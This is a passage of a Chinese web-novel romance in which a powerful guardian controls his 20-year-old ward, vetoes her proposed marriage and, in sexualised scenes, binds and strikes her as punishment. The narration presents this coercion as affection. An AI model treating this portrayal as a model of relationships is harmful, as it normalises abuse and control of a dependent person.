谢沅带着遮阳帽,踩着兔子拖鞋,执着迷你小风扇吹凉,脸庞却还是透着绯色。
她低声说道:“好热,霍阳哥。”
霍阳的眼神回落到谢沅身上,他笑着说道:“嫌热的话,跟哥哥去冲浪吧。”
这边有人工冲浪池,但刚听到冲浪两字,谢沅就疯狂摇头:“我不要,要是想冲浪,霍阳哥自己去吧。”
身边一起的朋友也笑道:“哥你别老欺负小谢妹妹。”
“好,好。”霍阳弯着唇角,“我不欺负沅沅妹妹。”
但谢沅还是被他哄着过去,试了试这里的超级大滑梯,从高空一路滑落的时候,她的灵魂都快要被抽离出来。
夜晚的星群闪烁。
谢沅眼尾通红,她含着泪,裹着毯子指控霍阳:“我再也不相信霍阳哥了,根本不是你说的那回事。”
霍阳含着笑道歉:“我真不是故意的,沅沅妹妹。”
几人从水边走回来,一路笑闹着酒店而去。
明明是很多人,但谢沅和霍阳的亲密却是那么打眼,路过的人都隐隐生羡。
这世上大概也只有谢沅这么迟钝的人,会看不出霍阳眼里的势在必得。
沈长凛唇边含笑,他坐在落地窗边,轻声和秦老先生说道:“没什么事,外公,只不过刚好有事务在瀛洲,过来看看罢了。”
已经过去一周了。
临走前对他依依不舍的谢沅,竟是真的一个电话都没过来。
如果不是到访瀛洲,沈长凛都不知道,霍老先生已经准备亲自作保,给霍阳证这个婚了。
他要是来得再迟些,估计马上就能接到霍家的聘礼了。
谢沅被沈长凛从朋友身边叫过来的时候,人还是懵然的,她站在门口,小声地问李秘书:“李叔叔,是有什么事吗?”
李秘书笑容温和,低声说道:“您进去就知道了。”
好像是有惊喜的意思。
但谢沅推开门,看到沈长凛的时候,却只觉察到了惊悚,她突然想起一件事,这几天她好像忘记跟叔叔发消息、讲电话了。
房门掩上后,男人修长的指节轻掰开她的腿。
他的声音微哑,却全是危险的意味:“泳装很漂亮,沅沅。”
第39章
谢沅的泪水掉个不停,她被沈长凛抱在怀里,眼眸湿漉漉的,脸庞也是湿漉漉的。
两人足足一周没见。
曾经熟稔的动作也变得陌生起来。
她生涩地攀上沈长凛的脖颈,哭着求他:“我错了,叔叔……”
白色的泳装真的很衬谢沅,弧度优美的腰线被勾勒分明,嫩生生的长腿全都裸露出来,白得透着莹润的微光,像极了浸润在水里的凝脂美玉。
雪色的山岳轻轻摇晃,再往上是精致的锁骨和柔白的脖颈。
泪水掉得太凶,顺着脸庞,啪嗒啪嗒地往下落,连泳装的边沿都被浸湿了。
“沅沅能有什么错?”沈长凛低笑一声,指节抚过谢沅的唇瓣,轻轻地揉捏抵弄,樱唇水光潋滟,被磨得像是牡丹芯子般红艳。
他的言辞温柔,但谢沅却怕得更厉害了。
她湿润的长睫颤抖,讨好地含住沈长凛的修长指骨,含得太深,喉口都被触碰到了。
谢沅忍不住地呜咽出声,可就是那样,她也不敢乞怜。
沈长凛眸色晦暗,看着谢沅吞含他的指节,她其实是不太能含住的,嫣红的舌尖发麻,涎液也流了出来。
她的眼眸湿红,楚楚可怜地掀睫望他。
一双水眸摇摇晃晃,盛着微弱的光芒,长睫掀起之后,全部都是他的倒影。
就好像她真的满心满眼都是他似的。
谢沅很会惹沈长凛生气,其实也很会让他消气,她每回用的法子都是一样的,柔弱地攀上他的脖颈,含住他的指节,抑或是主动地坐到他的怀里。
很笨拙,很生涩。
但偏偏又很有用。
沈长凛取来纸巾,掐着谢沅的下颌,将她的唇瓣擦净,又用湿巾擦过她的脸庞,把那掉个不停的眼泪也擦干净。
她乖顺地坐在他的腿上,眼泪也渐渐止住,只是脸庞还潮红得厉害。
耳根也像是在烧,嫩白的耳尖,烫得发红。
谢沅轻轻地拉着沈长凛的衣角,声音细弱:“我不是故意的,叔叔,我昨天就想跟你通电话的,但是回来太晚了,我担心你已经睡了……”
她说谎的水平很差劲,沈长凛也不喜欢她说谎。
但是在这关头,要是实话实话说是忘记了,那才是火上浇油。
谢沅绞尽脑汁,想着霍阳说话时的口吻,微微倾身:“叔叔,你别生气,好不好?”
她分开柔膝,直起身子,努力平静地看向沈长凛。
沈长凛的眼形精致漂亮,眸色也相较常人要浅一些,剔透明净,好看到会让人产生错觉,误以为他是个好脾气、好说话的人。
他轻扣着谢沅的手腕,语气平和:“叔叔没生气。”
沈长凛抬起眼帘,轻轻看向谢沅:“叔叔能有什么好生气的?”
谢沅的额前沁着薄汗,他动怒的时候她总是很怕,他这样故作温柔却让她更加无措。
“我真的不会再那样了,叔叔。”她声音细弱,“我……我有事情一定会跟您言说的。”
谢沅不懂症结在霍阳身上。
少言寡语的她,声声柔软地说了许多好话,还是没能等来宽宥,反倒又将沈长凛惹到了。
他按住她的腰身,眸色深暗:“刚刚没……你吗?”-
原本众人已经准备用晚餐了,但谢沅被叫去了,半个钟后还没回来,同行的女生跟她拨了电话,电话刚刚接听就被挂断了。
霍阳皱起眉头,也跟谢沅拨了电话。
铃声响了很久,依旧无人接听。
“可能是沅沅没带手机,”女生笑着打哈哈道,“刚刚接沅沅的是李秘书,总不会有事的。”
霍阳没说话,又跟李秘书也发了消息,得知是沈长凛过来后,他才舒了一口气。
霍老先生之前就同他说过,沈长凛最近在瀛洲这边有事务,要是见到,一定要好好表现。
霍阳当然明白。
在他们这群二代圈子里,沈宴白和秦承月属于很出挑的,也属于很自由的,旁人都还在仰仗老子早日夺储成功的时候,他们便已经能够独当一面了。
称得上是青年才俊。
但这些在沈长凛的跟前是全然不够看的。
他位高权重,二十出头就接手了两个家族的全部事宜,将那庞然大物轻易驯服,随意地拨弄于掌心。
沈长凛是掌权的人,更是掌家的人。
他年纪虽轻,却在多年前就已秦沈两家毋庸置疑的全权掌控者。
谢沅和秦承月关系淡漠,婚事断了也就断了,可哪怕两人情根深种,非彼此不可,只要沈长凛一句话不同意,那就一点可能都没有。
也就待沈宴白,他还会稍温和些。
霍阳执着扑克牌,轻轻地拨弄乌黑色的短发,将翘起的那一缕短发也按了下来。
沈家的权势固然诱人,还有很多人在渴慕谢沅的嫁妆。
他却没那么多想法。
荣华富贵,过眼云烟,身畔的人,才是要拢在掌心一辈子的。
先下手为强这个道理,他比谁都要更清楚。
霍阳的眼底晦涩,在该出牌的时候,却又是扬起下颌,露出得意的笑容,挑着眉头说道:“你们这技术都退了挺多啊。”
一局胜利,众人都有点无奈。
“霍阳哥太狠了,”同行的女生说道,“待会儿小谢妹妹过来,你可别太欺负她。”
“不会。”霍阳轻声说道,“沅沅妹妹不打牌。”
开玩笑?不说沈长凛,就是沈宴白也不会允他带谢沅玩这些的。
男人就是这样,自己风流浪荡无所谓,可家里的妹妹要是敢乱来,或是同不靠谱的男人在一道,就全然无法忍受。
几人正说着,谢沅便过来了。
她换了身长外套,浅色的衣摆垂落,将腿根的细白都要遮掩住。
谢沅低喘着气,推开雅间的门:“抱歉,我来迟了。”
海滨酒店整体的装修很开阔,她打开门的那一瞬间,穿堂风轻轻掠过,但带来的却不是海洋的气息,而是一种凛冽轻微的冷香。
像是深雪,像是松林。
在场的都是圈子里的人,多少对香水也有些研究。
纵是闻嗅不出前调、后调,也能闻得出来这是一种很昂贵的气息。
霍阳的神情也微微顿了一下,但很快谢沅就走了进来,她的腮边还有些红,低声说道:“不好意思,我刚刚有些事……”
她仰起脸庞,长睫之下,眼尾也微微泛红。
那是一种很娇嫩的颜色,像是被人揉碎、撞哭后会流露出来的色泽。
霍阳抿了抿唇,移开视线,他手握成拳,抵在唇边咳了一声,声音又恢复惯常的散漫:“没事,我们打牌呢。”
他指间还扣着一叠扑克牌。
谢沅不会玩,但也常见他们玩,知道众人没有一直等她,她轻舒了一口气。
她偏好的口霍阳知道,早先就点好了餐,她一过来,众人便开始晚餐。
谢沅这几天玩得是真的很疯,一大早就随着众人出门,然后玩到晚上才回来,前两天才刚出了次海。
霍阳爱玩车,也玩游艇。
四千万的Fairline定制游艇,在海上疾驰时,体验比过山车还要刺激。
谢沅回到家里的时候,腿都还是软的。
而秦老先生在家时,她就一直陪在他身边,他跟沈长凛差不多忙,哪怕明说是休假,还是有很多事情要做。
谢沅也算是明白,为什么沈长凛要给她带那么多裙子。
她很久没有玩得这么尽兴过,回家后连平板都不看,倒头就呼呼睡去,更不要说打开手机,再给沈长凛发消息、讲电话了。
玩得太累,谢沅的胃口也好了很多。
瀛洲是临海城市,海鲜很有名,晚餐也都是海鲜。
谢沅脾胃弱,在家里沈长凛不会让她吃太多海鲜,但在瀛洲这边,她吃什么他也不会知道。
想到方才的事,她还是有些怕。
现在是在外面,叔叔就是生气也不会如何,但等回燕城,他肯定是要秋后算账的。
谢沅一边心里紧张,一边继续夹筷子,鼓着腮帮说道:“瀛洲这里的海鲜好好吃,感觉跟燕城的一点都不一样。”
霍阳翘起唇角,将稍偏的发丝捋正。
“瀛洲这地界嘛,战国就富庶,”他说话带了点瀛洲话的味道,“哪里是燕城比得了的?”
反差真的很有意思。
霍阳平时不学无术,一副浪荡公子哥的模样,没有想到竟也有博闻强识的一面。
谢沅抬起眼眸看向他,认真听他继续讲。
晚餐快用完的时候,她才想起一件事来,霍阳的祖籍就是瀛洲,他长在燕城,可骨子里就是个瀛洲人。
霍阳被谢沅的反应逗得大笑。
他笑得要腹痛,说道:“你才记起来啊。”
谢沅的脸颊泛红,不肯再理会霍阳,从酒店离开后,众人都换了衣服,准备回去。
但两个人住得近,路刚好又顺,是霍家的司机将他们一起接过来的,走也要将他们一起接走。
谢沅坐进后座,霍阳坐在了她的右边。
上车以后他又开始说笑话,他真的很会讲东西,原本很无聊的事,到了他的口中都会变得有趣起来。
谢沅不想听的,但没多时便被霍阳给逗笑了。
酒店离家里并不远,车停在小楼前后,立刻有人将她给接住。
听到众人言说,谢沅才知道今天实在是巧,沈长凛来谈事情,恰巧就在她玩的那家酒店,秦老先生刚好也在附近,便去看了看他,一问才知道谢沅也在。
他是有度的,在外面总不会待她太过。
而且今天只是偶然过来。
谢沅长舒了一口气,但回到房中后,就乖乖地和沈长凛发了消息,还将这几天拍的照片都发给他。
很多都是旁人拍的她。
乱七八糟的照片,她也没做分别,有多少是多少,全都发给沈长凛。
谢沅在车上时就做了功课,向李特助要了沈长凛最近的行程,知道他现在应该还在议事,然后很贴心地发去语音:“叔叔,您明天有空的话,我们讲电话吧?”
他还要忙好久。
谢沅等了片刻,确定沈长凛不会突然打来电话,就去沐浴睡觉。
她又累又困,昏昏地就睡了过去-
沈长凛最近很忙,但翌日用早餐前,谢沅还是接到了他的电话,他似乎是在车上,漫不经心地问道:“醒了?”
谢沅刚刚洗完脸,她湿着手按的接听,然后用纸巾擦净脸上的水。
她声音细弱地说道:“早上好,叔叔,我刚刚睡醒。”
谢沅这些天虽然玩得疯,但每天都是早睡早起,可不知怎的,只要跟沈长凛讲电话,她就觉得心虚。
昨天刚将人管教过一回。
沈长凛语调温柔,声音也很轻:“在外面玩,要小心蚊虫,别被咬了。”
大概也只有他这样细心的人,会想到这样微小的事情。
谢沅连连点头,软声说道:“我记得的,叔叔。”
两人简单聊了一刻钟左右,谢沅下楼的时候,人已经都齐了,她歉疚地说道:“不好意思,外公,刚刚叔叔来电话了。”
沈长凛对谢沅很好,将人看得也紧。
秦老先生笑了一下,温声说道:“没事,沅沅,我们也刚刚才过来。”
今天要去见一位很老的老先生,对秦老先生来说,都已经是叔伯辈的人,曾经也在燕大待过很长一段时间。
所以谢沅特地换了身学院风的裙子。
百褶裙,长筒袜,再配上小领带,会显得人更有朝气一些。
今天还是李秘书亲自开的车,他笑着说道:“不用担心,沅沅,王老先生以前是读书人,喜欢性子沉静的孩子,而且也是学哲学的。”
“你们系之前的那个方系主任,还是他的学生呢。”他调侃地说道,“王老先生很好相与的,你将他当师爷都成。”
谢沅睁大眼睛,灵光一闪,蓦地猜出来王老先生是谁。
她本来就紧张的心情,顿时紧张到了极点。
谢沅来瀛洲玩时,秦老先生经常会带她见人,但这还是她第一次见到这样厉害的老先生。
下车的时候,她的心弦还是紧绷的。
但短短一上午的会面却很愉快,像是跟沙龙一样。
王老先生已经上年纪了,言辞却还很清晰。
他温和蔼然,平易近人,问了谢沅一些燕大的事,然后还送给她几本新刊的书,有他的亲笔签名,还特地写上了【赠沅沅】几个字。
谢沅受宠若惊地接过,双手认真地环抱着书册。
临走时,王老先生多留了她片刻。
“你跟你爷爷很像,”他很轻声地说道,“七五年的时候,我在雍城见过他最后一回,就十分钟的间隙,他还在跟我讲乾嘉考据。”
想到旧事,王老先生笑了一下,但他的眼角却带着泪。
这是谢沅不曾听到过的旧事。
她看过很多资料,却并不知道这一件。
“如果真的很喜欢做学问的话,就学下去吧,”王老先生温声说道,“你爷爷讲了一辈子的平等,一心想教出一个名垂千古的女学生。”
“要是知道你喜欢哲学,还学得这样好,”他蔼然地说道,“他一定会很高兴的。”
谢沅的长睫颤抖,水光波动。
她抱着书册,向王老先生鞠躬,声音也在颤:“多谢您。”
谢沅出来后李秘书接住她,笑着说道:“没有骗你吧,沅沅?王老先生人是不是很好?一点也不吓人。”
她揉了揉眼眸,红着眼眶重重点头:“嗯。”
下午没有事情,谢沅回去后睡了好久,到六点才起来,霍阳亲自开车过来,接她去海边。
她睡得头晕,好在车是敞篷车。
谢沅坐在副驾,霍阳是她很熟悉的人,跟他的相处比沈宴白还多,而且他虽然浪荡风流,但待她当妹妹似的,除却被沈长凛撞见的那次,一直都很温和。
她的戒备降得很低。
谢沅忍不住地软声问道:“霍阳哥,结婚以后是不是就不能常出门了?”
她这句问话来得猝不及防,尤其是听到“结婚”二字的时候。
霍阳心头一跳,还以为谢沅知道了什么,他拨弄了一下额前的碎发,轻声说道:“不会的,这都什么年代了?”
“哦。”谢沅点点头,“那结婚后还能读书吗?”
她声音很轻,有些柔软,像是花瓣,缓缓地飘进水里。
夜风急急,霍阳车又开得快。
“当然是可以的。”他继续说道,“你想怎么读书都成,一路读到博士都没关系。”
谢沅的眉眼弯弯,她忽然笑了一下。
“真的吗?”她柔声说道,“你姐姐们也是这样的吗?”
谢沅的世界很单纯,她十五岁起就被养在沈家,然后就是读中学、读大学,沈长凛将她的身边人全都限定起来了,所以她对世界的认知也那么简单。
当初要让谢沅联姻的时候,肯定没人为她想过这个问题。
这种联姻,肯定是越早越好。
之前沈宴白也跟霍阳提到过,想让谢沅毕业就嫁过去,然后生孩子,最好生三个五个。
也全了联姻的意义,也报答了沈家的养育之恩。
霍阳初听时并不觉得有什么,谢沅这样的身份,这样的性子,哪里指望她能做什么事?
她唯一能做的,好像的确就是为秦家多生些姓秦的孩子,好开枝散叶。
秦家的本家人很少,严格来说,主支除却秦老先生已经没人了。
每一家养育女孩的方式是不一样的。
秦家待女孩其实很好,像沈长凛的母亲沈夫人,一身奔波于理想,也最终为理想而死,说是一曲英歌也不为过。
秦老先生用尽一切为她保驾护航。
但同样是独生女,温家就不一样,温思瑜的生活看似风光,实则处处都是掣肘。
她做女儿时,能享得荣华,可这些富贵,是有条件的。
谢沅什么也没有,那除了生孩子,的确没什么别的能做的了。
可是现在听到她这样言说,霍阳的心中忽然有些钝痛,沈家看似疼她,做出来的事却并不是那样的。
十六七的年纪就指婚,然后又将她相夫教子的未来安排得明明白白。
还好跟秦承月的婚事断了。
“嗯,”霍阳声音放柔,“我长姐是斯坦福的金融学博士呢。”
谢沅的眼眸亮亮的,她撑着下颌,难得多话,像小孩子般问东问西-
谢沅在瀛洲的生活过得像流水一样,半个月的时间匆匆而逝,转眼就到了八月中旬。
她每天玩得再晚,都很乖地跟沈长凛发消息、讲电话。
照片多到手机屏幕滑几分钟,都翻不到尽头。
临走前的那天晚上,谢沅又跟沈长凛通了视频电话,在他问想不想家的时候,她小声地说道:“想家里,也想叔叔。”
沈长凛的呼吸顿了顿。
他声音微哑:“明天晚上就回来了,别难过。”
谢沅只是想家,并没有到难过的地步,她眨了眨眼睛,却没有敢在这关头去解释。
“乖。”沈长凛声音温柔,“我明天有事过去,要是结束得早,中午能和你见一面。”
上回被他罚了,但她还是不长记性。
听到沈长凛要过来,樱唇都扬了起来。
谢沅仰起脸庞,软声说道:“好,我等您。”
沈长凛轻笑一声,继续哄她:“时间不早了,快点去睡吧。”
谢沅点点头,挂断电话后就躺到了床上,她睡了很舒服的一整晚,第二天闹钟还没有响,就已经醒了。
两个孩子很快都要走,秦老先生也要回去工作。
因此霍老先生又邀他们过去。
谢沅没有多想,沈长凛的事情多,就算结束得早,估计也要一点。
所以她只提前跟李特助言说,今天中午要去霍老先生那里。
霍家的人并不少,霍阳的父亲刚巧也从外地飞过来了,跟谢沅想象的家宴不一样,人似乎是有些过分得多了,而且他们所有人的目光都盯着她。
霍阳也难得正装。
他们不像是在准备私下的聚会,反倒像是打算做一件很郑重的大事。
谢沅抿了抿唇,心神忽然有些慌乱,莫名地想起沈长凛给她指婚,让她见秦承月的那个下午。
第40章
八月份的正午,日光正是炽热的时候。
谢沅的指节却有些冷,她的手指蜷缩,眼眸微微抬起,轻声唤道:“霍阳哥,中午好。”
向来浪荡不羁的人,笑容很平和,举止也很得体。
全然不像那个散漫随性的公子哥,反倒像是一位温柔体贴的绅士。
霍阳的眉眼扬起,应道:“中午好,沅沅妹妹。”
谢沅是这个时候才突然发现,他对她改口了,不再是小谢妹妹,而是沅沅妹妹。
很多人都叫她沅沅,但以前霍阳是不会这样叫她的。
谢沅的指节微动,轻轻抿了抿樱唇。
霍家的几位长辈看向她的目光都很温柔,像是在看待一个家里的晚辈。
都知道谢沅胆子小,过来的人其实并没有很多。
而且全是与霍阳亲近的。
婚姻是大事,尤其是豪门之间的联姻,利益是要考量的,婚配的人选同样也是要考量的。
霍阳身份特殊,妻子的选定自然也要审慎。
平心而论,谢沅并非是合适的霍家少夫人,别的不说,单她的性格就不行,太柔弱了,也太寡言少语了。
未出嫁时有沈长凛疼着,懵懂些也无妨。
可是嫁过来后,要做的事就太多了,光太太们间的交际她就应付不来,更别提其他。
但霍阳喜欢谢沅。
像风一样浪荡随性的霍家大少爷,真心实意地想要求娶她,而且还愿意为了她改变,这便已经足够。
沈家养她是养,霍家养她也是养。
霍家是大家族,祖上八代都是瀛洲人,骨子里带着燕赵之士的慷慨气魄,对家族里的婚姻有些讲究,但还没有那么多。
而且从家世上来看,两家人是再相配不过。
落座后是霍阳父亲先开的口。
他是个形色庄重的人,语调却很和柔:“沅沅,你是不是快生日了?”
自从谢沅二十岁后,每个问她生日的人,都是在想问她的年岁。
“我十二月生日,叔叔。”她声音很轻,“到年底就二十一了。”
谢沅仰起眼眸,看向霍阳的父亲。
她的神情好像很平静,但藏在暗处的指节却控制不住地收紧。
霍阳跟谢沅熟悉,看出她的紧绷,他神情微动,向着父亲说道:“爸,您少问些,沅沅妹妹才刚过来呢。”
他嬉皮笑脸,在父亲面前又开始没个正色。
霍阳父亲并非和蔼温善的人,笑骂他一句:“你这多嘴的习惯,什么时候能改改?”
但凝滞的氛围却缓和了少许。
话题也从谢沅身上移开,暂时移到了其他地方。
趁着众人没注意,谢沅在桌案下拿出手机,她的指骨轻抖,在昏暗的光线下,近乎本能地点开了给沈长凛发消息的界面。
点开以后,她的手指颤动得更厉害。
掌心也沁着汗。
可谢沅到底没有跟沈长凛发消息。
她对许多事都很懵懂,在沈家待了多年,又有沈长凛亲自教着,还是不明白豪门里的弯弯绕绕。
但谢沅也不是什么都不明白。
她很早之前就知道,她来到沈家的使命便是联姻,这也是她唯一能够回报沈家、回报沈长凛的事。
那双手将她从深渊里拉出来,也注定要将她送到别人的怀抱。
没有秦承月,也会有其他人-
瀛洲的事情不麻烦,就是繁琐,沈长凛最近来了三次,到这一回才算是彻底结束。
下午还有事情,只能见缝插针地来看谢沅。
想到她现下还在霍家待着,他没跟她发消息,直接让司机开车过去。
小孩子性格内敛,被逼急了话也不多,昨天能在清醒的情况下说出想他,已经是情绪到了极致。
如今也已经过去半月了,沅沅会想他,也是应该的。
沈长凛浅色的眼眸半阖,修长的指节交扣,轻轻地搭在一起。
瀛洲的路修得很好,到了这边更是风光优美、人迹罕至,一路畅通无阻,很快就停在了霍家门前,停着的还有其余几辆车。
他看了李特助一眼,轻声问道:“还没结束吗?”
“李秘书说已经差不多了,”李特助有些迟疑,“要不您先稍等片刻,我先进去看看?”
沈长凛看了眼时间。
再稍等片刻,恐怕真的只能和谢沅短暂见一面了。
他摆了摆手,声音很轻:“不必。”
沈长凛刚一下车,霍家里里外外候着的人便全都过来了,众人皆有惊色,一时之间竟有些不知要怎样接待。
他轻笑了一下,说道:“我刚巧路过,来看看沅沅。”
别家可能还不知道沈长凛有多疼谢沅,霍家却是一清二楚,可到底有多宠溺,还是亲见亲闻方才知晓。
宅邸的管家擦了擦汗,亲自带沈长凛过去的。
霍家并不小,但霍老先生在瀛洲的这处居所却没有很大。
穿过拱形的桥,便到了待客的地方。
谢沅坐在霍阳的身边,细白的面容被日光照亮。
他父亲坐在她的另一侧,声音温和:“当然,这种事最重要的,肯定还是你自己的想法。”
霍阳父亲唇边含笑,轻推了一下金丝框的眼镜。
“如果你叔叔觉得不太合适,也完全没关系的。”他继续说道,“不过,如果能有幸成为一家人,那是我们的荣幸。”
霍老先生的笑容也很和蔼。
“别担心,沅沅。”他笑着说道,“霍阳这小子要是敢惹你,爷爷给你做主。”
霍阳拨弄了下乌黑色的短发,唇角弯起,低眼看向谢沅:“我怎么会惹沅沅妹妹?往后沅沅说东,我绝不往西。”
他说话本就逗趣,此刻一屋子的人都笑了。
谢沅也笑了。
她的水眸弯起,微光晃动,像是有星子在闪动。
两个人靠得很近,与其说是尚在议婚的男女,倒不如说是一对年轻的小夫妻。
说起来,他们也算是青梅竹马,霍阳是沈宴白的朋友,谢沅十五岁时就认识他了,一个上心多年,一个断了孽缘,要是婚事能成,甚至可以称作是修成正果。
旁人听了这事只怕还会妒忌谢沅的好运。
待客厅的欢声笑语,结束于沈长凛进门的那一刻。
谁也没想到他会这时候过来。
霍阳身份虽然高,但往日的名声实在不好,他风流浪荡,整日每个正形,还曾经被沈长凛撞见过动谢沅的场景。
沈长凛看重人品,他那一关很难过。
霍老先生当初想的是用自己的面子做担保,来全孙子的心意,可霍阳的父亲却想了更多。
谢沅跟霍阳关系不错,两人又相处多时,从她这边入手,比从沈长凛那边要容易得多。
而且沈长凛到底是疼她的。
如果谢沅执意跟霍阳在一起,沈长凛难道还能不允她嫁吗?
燕城的权贵众多,可哪一家都不简单,有筹谋的人就更多了。
相较之下,霍家其实算是良缘。
霍家并不图谋谢沅什么,两家又那样亲近,哪怕是看在长辈的份上,也只会上赶着对谢沅好。
但预想归预想,事情到底能不能成,其实全都要看沈长凛的意思。
男人的身形高挑,容色俊美,气度矜贵,目光望过来时,不带什么情绪,可就是能令人的心弦瞬间绷紧。
他温柔地说道:“我是不是来得不太巧?”
沈长凛是恰巧路过,来看谢沅的,管家全然没有多想,紧忙就带他过来,但进到待客厅之后,才隐约感到气氛不对。
霍阳的父亲面露愕然。
“没有没有,好久不见,沈总。”他紧忙起身,笑着跟沈长凛握手,“沈总怎么这时候过来了?来看沅沅的吗?”
沈长凛最近在瀛洲有事,这事他们是知道的。
但谁也没有想到,他会此时来看谢沅。
谢沅是一直在留意手机消息的,同样没有想到沈长凛会突然到访霍家,她的容色有些乱,失措地抬眸看他。
沈长凛淡漠地“嗯”了一声。
“今天刚巧到这边,”他轻声说道,“顺便来看看沅沅。”
一转眼谢沅都离家多日了,沈长凛几乎将她当女儿疼,如此也是常情。
霍阳父亲的神情微顿,很快就笑了起来:“沈总,都怪我们,原先就要结束的,是我们好久没见沅沅,才聊了这么久。”
沈长凛的笑容很温柔。
“无妨,”他轻声说道,“我也只是来看一眼沅沅,晚些时候还有事。”
沈长凛看了一眼霍阳,眼帘微抬:“霍公子也在呀?”
霍阳跟什么人打交道都如鱼得水,三教九流都能畅言。
沈长凛的声音柔和,目光也是柔和的,可起身跟他握手时,霍阳差些就伸错了手,他谦恭地唤道:“沈世叔。”
秦老先生和李秘书方才临时有事,已经先走了。
这会儿跟沈长凛直接商议婚事,并不是一个好机会,但方才的谈话他应当已经听了大半,要是硬生生瞒过去,也并不简单。
霍阳父亲难得有些忧虑。
但就在他迟疑的时候,沈长凛轻声开口了:“如果方才谈的是沅沅的婚事,我觉得不太合适。”
他的容色矜贵,声音里的腔调也是高雅的。
可此刻沈长凛的神情却是冷的,没有一丝惯常的柔和,言辞更是直接到令人无措。
“不是想要问我的意见吗?”他掀起眼皮,“我的意见就是不合适。”-
沈长凛不同意。
秦老先生闻讯时,也有些惊异,他是无意干涉谢沅婚事的,毕竟她到底不是他养大的孩子。
“沈总可能觉得霍阳太风流了,”李秘书斟酌言辞,“之前承月那事也是,他跟温家姑娘走太近了,连沅沅都忽视了,又闹上新闻。”
沈长凛很疼谢沅,这事秦家无人不知。
为此,他甚至能解除与秦家的联姻。
沈长凛行事不容忤逆,性子中是带着些专断的,谢沅和秦承月的事是他当年自己定下的,但他会为了谢沅,解除自己定下的婚事。
秦承月他都觉得不合适,更不要说是霍阳了。
秦老先生顿了顿,叹息般地说道:“可是霍阳比承月更在意沅沅,他应该还不知道吧?”
养孩子是麻烦事,孩子的亲生父母都会有争执,更不要说其他。
霍阳经常来瀛洲这边,秦老先生跟他接触得多,比霍家人都更早知道他对谢沅的想法,所以今次听到霍老先生提起时,他也是有心的。
只是没想到沈长凛拒绝得那般干脆。
李秘书夹在中间,一时之间也觉得棘手,笑着附和道:“您说得是,您说得是,沈总都没跟霍公子打过几回照面。”
沈长凛的事务是真的多。
他正午时短暂见过谢沅,便又有事离开,直到五点多方才回来。
李秘书接住他,笑着说道:“真巧,沈总,我们也刚回来。”
祖孙二人都常年在外忙碌,秦老先生这半年更是待在国外许久,就近来才到瀛洲,可就是两人都在燕城时,也鲜少会时间会常聚。
“老先生在跟人谈事,”李秘书温声说道,“您要是有事的话,我去说一声。”
“没什么事,”沈长凛低声说道,“对了,谢沅呢?”
“沅沅说昨天没睡好,下午睡了很久,”李秘书笑着说道,“不过这会儿应该醒了,就在二楼朝阳的那间卧室,您可以直接去看看她。”
沈长凛轻声说好,然后就上了楼。
谢沅昨天其实睡得很好,中午的事发生得太突然,她只是不知道要怎样去面对。
在她的世界里,逃避是危机发生后的第一法则。
回到卧室后,谢沅没有看手机,也没有看消息,她的身躯蜷缩,躲避在薄被之中,心绪烦乱得怎样都睡不着,可又不想去面对清醒的世界。
整个下午都是在烦乱和恐慌中度过的。
沈长凛容色淡漠,直接用指纹开了谢沅的卧室,然后将门给反锁上。
她神情懵然,从薄被中冒出头来,看到是沈长凛时,陡地就清醒过来。
谢沅本能地下床想要迎他,但足尖还未着地,就被沈长凛掐着后腰按在了床上,他的眼底冰冷,声音也是冰冷的:“长能耐了啊,沅沅。”
她低喘着气,还未出声,纤细的双腕就领带给束绑起来。
谢沅的柔膝被迫分开,她的脑中纷乱,没有想出要怎样解释,男人的巴掌就落了下来,他没有收敛气力,她疼得顿时就湿了眸。
指节无力地抓握,身躯也下意识地想要躲避。
但下一瞬沈长凛就扣住谢沅的脚踝,将她拖了回来。
落下来的是更重的一巴掌。
谢沅很久没有受过重罚,这又是在外公的居室中,比痛意更甚的是强烈的羞耻感,她像一尾脱水的游鱼般,无法控制地细微挣动,带着哭腔唤道:“叔叔……”
沈长凛冷笑一声,攥着她的腰身说道:“谢沅,你可以再躲一下试试。”
谢沅身上的睡裙很薄,裙摆撩起来后,只余下更薄的白色小裤,巴掌落下去后,深红色的掌印都能看得见。
但就是这样浅浅的遮掩,也被剥夺了。
谢沅的哭腔更重,却又不敢挣扎,更怕叫人听见,指节按在腿根的软肉处,快将自己给掐出指痕来。
樱色的唇瓣,被咬得充血,红得像是秾丽的牡丹芯子。
等到沈长凛换了个姿势将谢沅抱起的时候,她的脸庞已经被泪水弄湿了,长睫连泪珠也承不动,低低地垂落。
晚来春急,梨花带雨。
沈长凛很疼她,但这时候他心里一点柔情都没有。
“如果今天我没有过去,”他掐住谢沅的下颌,迫使她抬起头,“你是不是就直接要应下了?”
沈长凛的眼眸颜色浅,温柔时会令人沉溺,冷情时却会带着一种无机质般的寒意,叫人连看向他的勇气都生不出来。
谢沅哭得快要喘不过气。
但她不敢不回沈长凛的话。
“不、不是,叔叔……”谢沅带着哭腔,拼命地摇头,“我不会应下的。”
她看起来那么害怕,那么怯弱,那么胆小。
可在正午时,与霍阳相谈甚欢、亲密得如一对小夫妻的也是她。
这人有时跟鸟雀是一个样,囚困在笼子里,她不会有任何多余的想法,但一旦叫她尝到自由的甜头,她想要的就会越来越多。
沈长凛低笑一声,说道:“那你是什么意思?吊着他,勾着他,嗯?”
他的指节修长冰冷,寒意太重,带着刺痛。
沈长凛是在问话,但他根本没有叫谢沅能够答上来的意思,她吸着气,脖颈不住地后仰,像是濒死的天鹅。
肿痛和刺痛交织,她一句话都说不上来,哭腔都变得破碎。
“我最近是不是对你太好了?”沈长凛看向谢沅,眼底冰冷,“还是说,你觉得脱离我的掌控后,就可以为所欲为?”
他的言辞太重了。
谢沅怕得厉害,本就苍白的脸庞,丝缕的血色都不剩了。
“不是,叔叔!”她颤声说道,“我不是那样想的……”
沈长凛没有跟谢沅对话的意思,也不想听她的解释,他的眼底充斥恶欲,沉得像是浓重的深渊,除却黑暗什么也没有了。
她的啜泣声破碎,压抑都压抑不住。
等到谢沅实在无法承受,崩溃地攀上沈长凛的脖颈时,他眼中的阴冷才缓和少许。
她床头的手机还在响动。
李秘书的电话已经拨来两次,到底是在外面,总不好让她太难看。
沈长凛将谢沅的手机拿了起来,在接听前,声音微冷地说道:“下不为例,沅沅。”
接着他按了接听,轻声说道:“沅沅刚睡醒,有事吗?”
另一头拨电话的李秘书有些愣怔,旋即想到方才是他让沈长凛去看谢沅的。
“没什么事,沈总。”他缓声说道,“……就是霍家公子过来了,说有话想跟沅沅讲,让我帮忙问问沅沅现在方便吗?”
听筒另一头的声音很清晰。
谢沅的眼尾湿红,长睫也是湿润的。
